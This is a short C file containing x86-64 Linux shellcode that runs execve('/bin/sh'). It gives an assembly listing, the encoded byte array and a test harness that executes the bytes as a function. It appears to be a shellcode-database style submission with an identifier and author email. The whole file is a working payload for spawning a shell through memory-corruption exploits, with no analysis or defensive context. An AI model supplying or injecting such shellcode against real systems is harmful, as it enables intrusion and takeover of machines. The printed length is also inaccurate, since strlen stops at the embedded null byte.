#include<stdio.h>
#include<string.h>
 
// OS-20614
// eben_s_dowling@georgiasouthern.edu
 
/*
global _start
 
_start:
 
execve:
 
    mov rsi, rax
    mov rdx, rsi
 
    mov r12 , 0x68732f6e69622f
    push r12
    push rsp
    pop rdi
    mov al, 0x3b
    syscall 
*/
 
 
 
unsigned char code[] = \
    "\x48\x89\xc6"                 // mov    %rax,%rsi
    "\x48\x89\xf2"                 // mov    %rsi,%rdx
    "\x49\xbc\x2f\x62\x69\x6e\x2f" // movabs $0x68732f6e69622f,%r12
    "\x73\x68\x00"               
    "\x41\x54"                     // push   %r12
    "\x54"                         // push   %rsp
    "\x5f"                         // pop    %rdi
    "\xb0\x3b"                     // mov    $0x3b,%al
    "\x0f\x05"                     // syscall 
;
 
main()
{
  
    printf("Shellcode Length:  %d\n", (int)strlen(code));
  
    int (*ret)() = (int(*)())code;
  
    ret();
  
}